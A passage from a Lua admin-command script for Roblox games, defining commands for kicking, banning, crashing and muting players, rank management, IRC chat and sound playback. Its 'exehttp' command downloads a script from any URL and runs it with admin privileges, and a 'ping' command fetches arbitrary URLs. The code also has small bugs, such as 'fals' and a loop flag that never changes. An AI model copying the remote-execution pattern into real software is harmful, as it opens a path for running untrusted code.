5715 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
5716 if Res then
5717 GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
5718 end
5719 end}, Http = true;
5720 ]]
5721
5722 [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
5723 IRC:Quit("Reconnecting")
5724 IRC:ConnectToServer(Settings.IRCServer)
5725 end};
5726
5727 [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
5728 local Players = STRING:Scan(Arguments[1], Speaker)
5729 for _,Player in pairs(Players) do
5730 local PreAdd = {}
5731 for _,Data in pairs(IRC.Chats) do
5732 local Error = nil
5733 if Rank == "Owner" then Error = Data[3] end
5734 table.insert(PreAdd, {Data[1], Data[2], Error})
5735 end
5736 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
5737 IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
5738 if Rank ~= "Owner" then Error = nil end
5739 AddMessage:Invoke(UserName, Message, Error)
5740 end)
5741 SendPressed.Event:connect(function(Text)
5742 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
5743 IRC:AddChat(Player.Name, Text)
5744 end)
5745 end
5746 end};
5747
5748 [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
5749 local Players = STRING:Scan(Arguments[1], Speaker)
5750 for _,Player in pairs(Players) do
5751 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
5752 if Type == "Leave" then
5753 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
5754 elseif Type == "Join" then
5755 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
5756 end
5757 end)
5758 PriChat.Chatted.Event:connect(function(UserName, Message)
5759 AddMessage:Invoke(UserName, Message)
5760 end)
5761 SendPressed.Event:connect(function(Text)
5762 PriChat.Chatted:Fire(Player.Name, Text)
5763 table.insert(PriChat.Chats, {Player.Name, Text})
5764 end)
5765 end
5766 end};
5767
5768 [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
5769 ExecuteSafe(Arguments[1], Speaker)
5770 end};
5771
5772 [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
5773 local Script = REMOTE:GetURL(Arguments[1], Player)
5774 if Script then
5775 ExecuteSafe(Script, Speaker)
5776 end
5777 end, Http = true};
5778
5779 [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
5780 local Time = tick()
5781 local Res = REMOTE:GetURL(Arguments[1], Player)
5782 if Res then
5783 GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
5784 end
5785 end, Http = true};
5786
5787 [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
5788 CORE:RemoveAdmin(Speaker)
5789 end};
5790
5791 [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
5792 for _,Player in pairs(Server.Players:GetPlayers()) do
5793 GUI:SendHint(Player, Arguments[1], nil, Speaker)
5794 end
5795 end};
5796
5797 [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
5798 local Players = STRING:Scan(Arguments[1], Speaker)
5799 local Debt = nil
5800 for _,Player in pairs(Players) do
5801 if not Debt then
5802 Debt = GUI:ShowDebtStats(Player)
5803 else
5804 GUI:ShowDebtStats(Player, Debt)
5805 end
5806 end
5807 end, Http = true};
5808
5809 [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
5810 local Players = STRING:Scan(Arguments[1], Speaker)
5811 for _,Player in pairs(Players) do
5812 GUI:CreateHUD(Player)
5813 end
5814 end};
5815
5816 [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
5817 local Players = STRING:Scan(Arguments[1], Speaker)
5818 for _,Player in pairs(Players) do
5819 if Player:FindFirstChild("PlayerGui") then
5820 local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
5821 if HUD then HUD:Destroy() end
5822 end
5823 end
5824 end};
5825
5826 [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
5827 local Players = STRING:Scan(Arguments[1], Speaker)
5828 GUI:Vote(Speaker, Players, Arguments[2], 30)
5829 end};
5830
5831 [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
5832 local Players = STRING:Scan(Arguments[1], Speaker)
5833 for _,Player in pairs(Players) do
5834 CORE:ExecuteResource("Bomb", Player.Character)
5835 end
5836 end};
5837
5838 [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5839 local Players = STRING:Scan(Arguments[1], Speaker)
5840 for _,Player in pairs(Players) do
5841 CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
5842 CORE:RestoreCamera(Player)
5843 end
5844 end};
5845
5846 [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
5847 CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
5848 CORE:RestoreCamera(Speaker)
5849 end};
5850
5851 [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
5852 local Players1 = STRING:Scan(Arguments[1], Speaker)
5853 local Players2 = STRING:Scan(Arguments[2], Speaker)
5854 for _,Player1 in pairs(Players1) do
5855 if Player1.Character and Player1.Character:FindFirstChild("Torso") then
5856 for _,Player2 in pairs(Players2) do
5857 if Player2.Character and Player2.Character:FindFirstChild("Torso") then
5858 Player1.Character:MoveTo(Player2.Character.Torso.Position)
5859 end
5860 end
5861 end
5862 end
5863 end};
5864
5865 [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
5866 local Players = STRING:Scan(Arguments[1], Speaker)
5867 for _,Player in pairs(Players) do
5868 Player:LoadCharacter()
5869 end
5870 end};
5871
5872 [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5873 local Players = STRING:Scan(Arguments[1], Speaker)
5874 for _,Player in pairs(Players) do
5875 CORE:RestoreCamera(Player)
5876 end
5877 end};
5878
5879 [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5880 local Players = STRING:Scan(Arguments[1], Speaker)
5881 for _,Player in pairs(Players) do
5882 CORE:Jail(Player)
5883 end
5884 end};
5885
5886 [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5887 local Players = STRING:Scan(Arguments[1], Speaker)
5888 for _,Player in pairs(Players) do
5889 CORE:UnJail(Player)
5890 end
5891 end};
5892
5893 [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
5894 SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
5895 end};
5896
5897 [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
5898 SOUND:StopSpeaking()
5899 end};
5900
5901 [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
5902 local Players = STRING:Scan(Arguments[1], Speaker)
5903 local Compile = {}
5904 for Num,Player in pairs(Players) do
5905 local PlayerRank = RANK:GetRank(Player)
5906 local PlayerInfo = ClientInfo[Player.Name]
5907 table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
5908 table.insert(Compile, "User ID: "..Player.UserId)
5909 table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
5910 table.insert(Compile, "Rank: "..PlayerRank)
5911
5912 if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
5913 if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
5914 if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
5915 if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
5916 if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
5917 if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
5918 if PlayerInfo.Benchmark then
5919 table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
5920 end
5921 if Num ~= #Players then table.insert(Compile, "-----------------------------") end
5922 end
5923 GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
5924 end};
5925
5926 [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
5927 if tonumber(Arguments[2]) then
5928 local Players = STRING:Scan(Arguments[1], Speaker)
5929 for _,Player in pairs(Players) do
5930 coroutine.wrap(function()
5931 if Player.Character then
5932 table.insert(LoopKills, Player.Name)
5933 local Loop = nil
5934 local PrevChar = nil
5935
5936 for i = 1,tonumber(Arguments[2]) do
5937 local Char = Player.Character
5938 if PrevChar and PrevChar ~= Char then
5939 PrevChar:Destroy()
5940 end
5941 PrevChar = Char
5942 local CanDie = true
5943 for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
5944 if CanDie == false then
5945 break
5946 end
5947 ypcall(function() Char.Parent = Server.Lighting end)
5948 wait(0.1)
5949 ypcall(function() Char.Parent = Server.Workspace end)
5950 wait(0.1)
5951 end
5952 end
5953 end)()
5954 end
5955 else
5956 GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
5957 end
5958 end};
5959
5960 [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5961 local Players = STRING:Scan(Arguments[1], Speaker)
5962 for _,Player in pairs(Players) do
5963 for Num,Name in pairs(LoopKills) do
5964 if Player.Name == Name then
5965 table.remove(LoopKills, Num)
5966 end
5967 end
5968 end
5969 end};
5970
5971 [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
5972 SOUND:PlayGlobalSound(Arguments[1])
5973 end};
5974
5975 [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
5976 SOUND:StopGlobalSound()
5977 SOUND:ClearInfo()
5978 end};
5979
5980 [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
5981 local Pitch = tonumber(Arguments[1])
5982 if not Pitch then Pitch = 1 end
5983 if Sound then
5984 Sound.Pitch = Pitch
5985 end
5986 end};
5987
5988 [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
5989 local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
5990 local Items = MARKET:SearchItem(9, Arguments[1])
5991 if Items then
5992 if #Items ~= 0 then
5993 local List,Correlate = {},{}
5994 for Num,Info in pairs(Items) do
5995 local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
5996 table.insert(List, Display)
5997 Correlate[Display] = Info.AssetId
5998 end
5999 CloseGui:Invoke()
6000
6001 local CanClick = true
6002 if Rank == "Member" then CanClick = false end
6003 local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
6004 Clicked.Event:connect(function(ClickName)
6005 local OldSoundId = nil
6006 SOUND:StopGlobalSound()
6007 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6008 SOUND:PlayGlobalSound(Correlate[ClickName])
6009 end
6010 end)
6011 else
6012 CloseGui:Invoke()
6013 GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
6014 end
6015 else
6016 CloseGui:Invoke()
6017 GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
6018 end
6019 end, Http = true};
6020
6021 [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
6022 local Players = STRING:Scan(Arguments[1], Speaker)
6023 for _,Player in pairs(Players) do
6024 if Player.Character then
6025 CORE:ExecuteResource("Gun", Player.Character)
6026 end
6027 end
6028 end};
6029
6030 [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
6031 local Players = STRING:Scan(Arguments[1], Speaker)
6032 for _,Player in pairs(Players) do
6033 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
6034 local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
6035 Player.Character.Humanoid.WalkSpeed = 0
6036 Player.Character.Torso.Anchored = true
6037 coroutine.wrap(function()
6038 local OldCFrame = Player.Character.Torso.CFrame
6039 for i = 0,8,0.1 do
6040 Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
6041 wait()
6042 end
6043 Player.Character.Torso.Anchored = false
6044 Player.Character:BreakJoints()
6045 CORE:InvisiblePlayer(Player)
6046 end)()
6047 end
6048 end
6049 end};
6050
6051 [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
6052 local Players = STRING:Scan(Arguments[1], Speaker)
6053 for _,Player in pairs(Players) do
6054 CORE:AnchorPlayer(Player)
6055 end
6056 end};
6057
6058 [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
6059 local Players = STRING:Scan(Arguments[1], Speaker)
6060 for _,Player in pairs(Players) do
6061 CORE:UnanchorPlayer(Player)
6062 end
6063 end};
6064
6065 [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
6066 local Players = STRING:Scan(Arguments[1], Speaker)
6067 for _,Player in pairs(Players) do
6068 CORE:InvisiblePlayer(Player)
6069 end
6070 end};
6071
6072 [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
6073 local Players = STRING:Scan(Arguments[1], Speaker)
6074 for _,Player in pairs(Players) do
6075 CORE:VisiblePlayer(Player)
6076 end
6077 end};
6078
6079 [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
6080 local Players = STRING:Scan(Arguments[1], Speaker)
6081 for _,Player in pairs(Players) do
6082 if Player.Character and Player.Character:FindFirstChild("Torso") then
6083 local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
6084 local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
6085 local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
6086 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
6087 local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
6088 local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
6089 Fly:Play()
6090 local Touched = false
6091 coroutine.wrap(function()
6092 repeat wait(0.1)
6093 Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
6094 until not Ast or Ast.Parent == nil or Touched == true
6095 end)()
6096 Ast.Touched:connect(function(Part)
6097 if Touched == false then
6098 Touched = true
6099 Part:BreakJoints()
6100 local Boom = Instance.new("Explosion", Workspace)
6101 Boom.Position = Ast.Position
6102 Boom.BlastPressure = 1000000
6103 Boom.BlastRadius = 30
6104 Fire.Heat = 0
6105 Smoke.RiseVelocity = 0
6106 Fly:Stop()
6107 BoomSound:Play()
6108 coroutine.wrap(function()
6109 wait(3)
6110 BoomSound:Stop()
6111 if Ast and Ast.Parent ~= nil then
6112 Ast:Destroy()
6113 end
6114 end)()
6115 end
6116 end)
6117 end
6118 end
6119 end};
6120
6121 [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
6122 local Success = {}
6123 local Players = STRING:Scan(Arguments[1], Speaker)
6124 for _,Player in pairs(Players) do
6125 local PlayerRank = RANK:GetRank(Player)
6126 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6127 CORE:Kick(Player)
6128 table.insert(Success, Player)
6129 end
6130 end
6131 REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
6132 end};
6133
6134 [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
6135 local Success = {}
6136 local Players = STRING:Scan(Arguments[1], Speaker)
6137 for _,Player in pairs(Players) do
6138 local PlayerRank = RANK:GetRank(Player)
6139 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6140 RANK:RemoveRank(Player)
6141 table.insert(Settings.Ranks.Banned, Player.Name)
6142 CORE:Kick(Player)
6143 table.insert(Success, Player)
6144 end
6145 end
6146 REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
6147 end};
6148
6149 [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
6150 local Success = {}
6151 local Players = STRING:Scan(Arguments[1], Speaker)
6152 for _,Player in pairs(Players) do
6153 local PlayerRank = RANK:GetRank(Player)
6154 if PlayerRank ~= "Owner" then
6155 RANK:RemoveRank(Player)
6156 table.insert(Settings.Ranks.Crashed, Player.Name)
6157 CORE:Crash(Player)
6158 table.insert(Success, Player)
6159 end
6160 end
6161 REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
6162 end};
6163
6164 [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
6165 local Success = {}
6166 local Players = STRING:Scan(Arguments[1], Speaker)
6167 for _,Player in pairs(Players) do
6168 local PlayerRank = RANK:GetRank(Player)
6169 if PlayerRank ~= "Owner" then
6170 RANK:RemoveRank(Player)
6171 table.insert(Settings.Ranks.Muted, Player.Name)
6172 GUI:CoreGui(Player, "Chat", false)
6173 table.insert(Success, Player)
6174 end
6175 end
6176 REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
6177 end};
6178
6179 [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
6180 local Players = STRING:Scan(Arguments[1], Speaker)
6181 if #Players > 0 then
6182 local Success = {}
6183 for _,Player in pairs(Players) do
6184 local RankName,RankNum = RANK:GetRank(Player)
6185 if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
6186 if not RANK:IsSupremeOwner(Player) then
6187 if RankName == "Muted" then
6188 GUI:CoreGui(Player, "Chat", true)
6189 end
6190 if RankNum > 0 then
6191 GUI:TellNotAdmin(Player)
6192 end
6193 RANK:RemoveRank(Player)
6194 table.insert(Success, Player)
6195 end
6196 end
6197 end
6198 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
6199 else
6200 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6201 if Player then
6202 local RankNum = RANK:ConvertRank(PlayerRank)
6203 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6204 if not RANK:IsSupremeOwner(Player) then
6205 RANK:RemoveRank(Player)
6206 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
6207 end
6208 end
6209 end
6210 end
6211 end};
6212
6213 [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
6214 local Players = STRING:Scan(Arguments[1], Speaker)
6215 if #Players > 0 then
6216 local Success = {}
6217 for _,Player in pairs(Players) do
6218 local PlayerRank,RankNum = RANK:GetRank(Player)
6219 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6220 RANK:RemoveRank(Player)
6221 table.insert(Settings.Ranks.Member, Player.Name)
6222 GUI:TellAdmin(Player)
6223 table.insert(Success, Player)
6224 end
6225 end
6226 REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
6227 else
6228 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6229 if Player then
6230 local RankNum = RANK:ConvertRank(PlayerRank)
6231 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6232 if not RANK:IsSupremeOwner(Player) then
6233 RANK:RemoveRank(Player)
6234 table.insert(Settings.Ranks.Member, Player)
6235 end
6236 end
6237 else
6238 RANK:RemoveRank(Arguments[1])
6239 table.insert(Settings.Ranks.Member, Arguments[1])
6240 end
6241 end
6242 end};
6243
6244 [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6245 local Players = STRING:Scan(Arguments[1], Speaker)
6246 if #Players > 0 then
6247 local Success = {}
6248 for _,Player in pairs(Players) do
6249 local PlayerRank,RankNum = RANK:GetRank(Player)
6250 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6251 RANK:RemoveRank(Player)
6252 table.insert(Settings.Ranks.Admin, Player.Name)
6253 GUI:TellAdmin(Player)
6254 table.insert(Success, Player)
6255 end
6256 end
6257 REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
6258 else
6259 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6260 if Player then
6261 local RankNum = RANK:ConvertRank(PlayerRank)
6262 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6263 if not RANK:IsSupremeOwner(Player) then
6264 RANK:RemoveRank(Player)
6265 table.insert(Settings.Ranks.Admin, Player)
6266 end
6267 end
6268 else
6269 RANK:RemoveRank(Arguments[1])
6270 table.insert(Settings.Ranks.Admin, Arguments[1])
6271 end
6272 end
6273 end};
6274
6275 [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
6276 local Players = STRING:Scan(Arguments[1], Speaker)
6277 if RANK:IsSupremeOwner(Speaker) then
6278 if #Players > 0 then
6279 local Success = {}
6280 for _,Player in pairs(Players) do
6281 if not RANK:IsSupremeOwner(Player) then
6282 RANK:RemoveRank(Player)
6283 table.insert(Settings.Ranks.Owner, Player.Name)
6284 GUI:TellAdmin(Player)
6285 table.insert(Success, Player)
6286 end
6287 end
6288 REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
6289 else
6290 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6291 if Player then
6292 local RankNum = RANK:ConvertRank(PlayerRank)
6293 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6294 if not RANK:IsSupremeOwner(Player) then
6295 RANK:RemoveRank(Player)
6296 table.insert(Settings.Ranks.Owner, Player)
6297 end
6298 end
6299 else
6300 RANK:RemoveRank(Arguments[1])
6301 table.insert(Settings.Ranks.Owner, Arguments[1])
6302 end
6303 end
6304 end
6305 end};
6306
6307 [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6308 local TableStorage = {}
6309 for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
6310 for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
6311 for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
6312 GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
6313 end};
6314
6315 [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6316 local TableStorage = {}
6317 for _,Player in pairs(Server.Players:GetChildren()) do
6318 local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
6319 if ValidAdmin then
6320 if PlayerRank == "Owner" then
6321 table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
6322 else
6323 table.insert(TableStorage, Player.Name..": "..PlayerRank)
6324 end
6325 end
6326 end
6327 GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
6328 end};
6329
6330 [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
6331 GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
6332 end};
6333
6334 [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
6335 GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
6336 end};
6337
6338 [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
6339 GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
6340 end};
6341
6342 [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6343 local TableStorage = {}
6344 for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
6345 for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
6346 for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
6347 GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
6348 end};
6349
6350 [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6351 local TableStorage = {}
6352 for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
6353 for Num,PlayerName in pairs(PlayerNames) do
6354 if PlayerRank == "Owner" then
6355 table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
6356 else
6357 table.insert(TableStorage, PlayerName..": "..PlayerRank)
6358 end
6359 end
6360 end
6361 GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
6362 end};
6363
6364 [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6365 GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
6366 end};
6367
6368 [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
6369 GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
6370 end};
6371
6372 [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
6373 GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
6374 end};
6375
6376 [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6377 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
